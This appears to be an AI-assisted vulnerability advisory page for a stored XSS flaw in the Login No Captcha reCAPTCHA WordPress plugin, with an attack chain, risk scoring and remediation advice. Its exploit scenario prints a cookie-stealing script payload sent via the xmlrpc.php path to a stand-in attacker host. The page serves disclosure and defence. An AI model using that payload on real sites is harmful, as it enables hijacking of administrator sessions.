Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify site running vulnerable plugin
-
DeliverySend crafted login to /xmlrpc.php/<payload>
-
ExploitPHP_SELF basename stored in WordPress option
-
InstallWhitelisted-IP admin visits wp-admin within 30s
-
C2admin_notices() echoes payload unescaped
-
ExecuteScript executes in admin browser session
-
ImpactHijack admin session or plant backdoor
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the target site to be running the Login No Captcha reCAPTCHA plugin with at least one administrator IP added to its whitelist (the plugin's 'whitelisted IP' feature must be configured), and the attacker must submit a failed login against a non-standard entrypoint such as xmlrpc.php so that basename($_SERVER['PHP_SELF']) captures attacker-controlled path-info. The payload only fires if a whitelisted-IP administrator loads any wp-admin page within roughly 30 seconds of the malicious request, and the stored option is overwritten on subsequent login attempts, so timing is a meaningful limiting factor. No authentication is required from the attacker (PR:N), no user interaction beyond the admin's routine dashboard visit is needed, and the attack works against default-installed versions ≤ 1.8.0 provided the IP-whitelist feature is in use. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N yields 7.2 (High) driven primarily by the changed scope and lack of authentication or user interaction. However, several real-world factors reduce practical risk: exploitation only succeeds if an administrator with a whitelisted IP visits the dashboard within a narrow 30-second window after the attack, which is a meaningful timing constraint not reflected in the CVSS score. The vulnerability is not listed in CISA KEV and there is no public exploit identified at time of analysis; EPSS data was not provided in the input, so probabilistic exploitation likelihood cannot be assessed. SSVC-style framing: exploitation status is 'none' (no observed in-the-wild use), automatable is plausible (drive-by HTTP requests), and technical impact is partial. Net: a real but not urgent priority - patch in the next routine maintenance window rather than treating as an emergency, with elevated attention if the site has many admins or permissive IP whitelists. |
| Exploit ScenarioDerived | An unauthenticated attacker sends a crafted POST to a non-standard login endpoint such as https://victim.example/xmlrpc.php/<script>fetch('//attacker/steal?c='+document.cookie)</script>, causing the plugin to write the malicious basename into the login_nocaptcha_error WordPress option. If a whitelisted-IP administrator opens wp-admin within the next 30 seconds, the admin_notices() handler echoes the payload unescaped and the script runs in the admin's session - enabling cookie theft, CSRF-driven privilege actions, or persistent admin-account compromise. No public exploit identified at time of analysis, but the bug is straightforward to weaponize given the published code references. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 28, 2026
Stored cross-site scripting in the Login No Captcha reCAPTCHA WordPress plugin (versions up to and including 1.8.0) allows unauthenticated remote attackers to inject arbitrary JavaScript that executes in an administrator's browser session. The flaw, reported by Wordfence, stems from unsanitized handling of the PHP_SELF superglobal during failed logins via non-standard endpoints such as xmlrpc.php, with no public exploit identified at time of analysis and no CISA KEV listing.
RemediationAI
Upgrade the Login No Captcha reCAPTCHA plugin to a version newer than 1.8.0 as soon as the maintainer publishes one; the input data references an upstream changeset (plugins.trac.wordpress.org changeset 3549342) indicating an upstream fix is in progress but a released patched version is not independently confirmed from the supplied data. Until a fixed release is installed, compensating controls include: disabling or restricting xmlrpc.php at the web server level (note this will break legitimate XML-RPC clients such as the WordPress mobile app and Jetpack), removing or tightening the plugin's IP whitelist for admins so the 30-second post-attack visit cannot trigger payload execution, and deploying a WAF rule (e.g., Wordfence) that strips path-info from requests to /xmlrpc.php and other PHP entrypoints. Consult the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/99dfce3b-2b47-41bf-8b20-b53fb9f061a7 for vendor guidance and IoCs.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) instance in PHP, affecting cpe:2.3:a:robertpeake:login_no_captcha_recaptcha. The plugin's authenticate() function calls basename($_SERVER['PHP_SELF']) and persists the result into the WordPress options table under the 'login_nocaptcha_error' key when a login attempt arrives from a non-standard entrypoint. Because PHP_SELF is attacker-controllable via path-info style URLs (e.g., /xmlrpc.php/<payload>), and because admin_notices() later echoes the stored value directly into the admin dashboard HTML without esc_html() or esc_attr() escaping, the result is persistent, stored XSS. The source references (plugins.trac.wordpress.org lines 281 and 377 of login-nocaptcha.php) point to the exact sink and storage locations.
Know when Login No Captcha Recaptcha gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Login No Captcha reCAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the $_SERVER['PHP_SELF'] superglobal in all versions up to, and including, 1.8.0. This is due to the authenticate() function storing the unsanitized output of basename($_SERVER['PHP_SELF']) in the login_nocaptcha_error WordPress option when a login attempt is made from a non-standard login page (e.g., xmlrpc.php). The admin_notices() function then echoes this stored value directly into the admin dashboard HTML without escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator with a whitelisted IP address visits the WordPress dashboard within 30 seconds of the attack.
Executive ViewAI
A stored cross-site scripting vulnerability in the Login No Captcha reCAPTCHA WordPress plugin (up to version 1.8.0) enables unauthenticated attackers to inject malicious code that executes in administrator browser sessions. Although no public exploit has been identified to date, this vulnerability poses significant risk of admin account compromise and potential data breach, with no vendor patch currently available.
Disable the plugin if operationally feasible; restrict or block access to xmlrpc.php endpoint at the web server level; deploy Web Application Firewall rules to block script injection patterns in login-related parameters; enable detailed logging and monitoring of all administrator session activity; implement Content Security Policy headers to restrict inline JavaScript execution within the WordPress environment.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-32704
GHSA-m5hx-7xc5-p76f
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB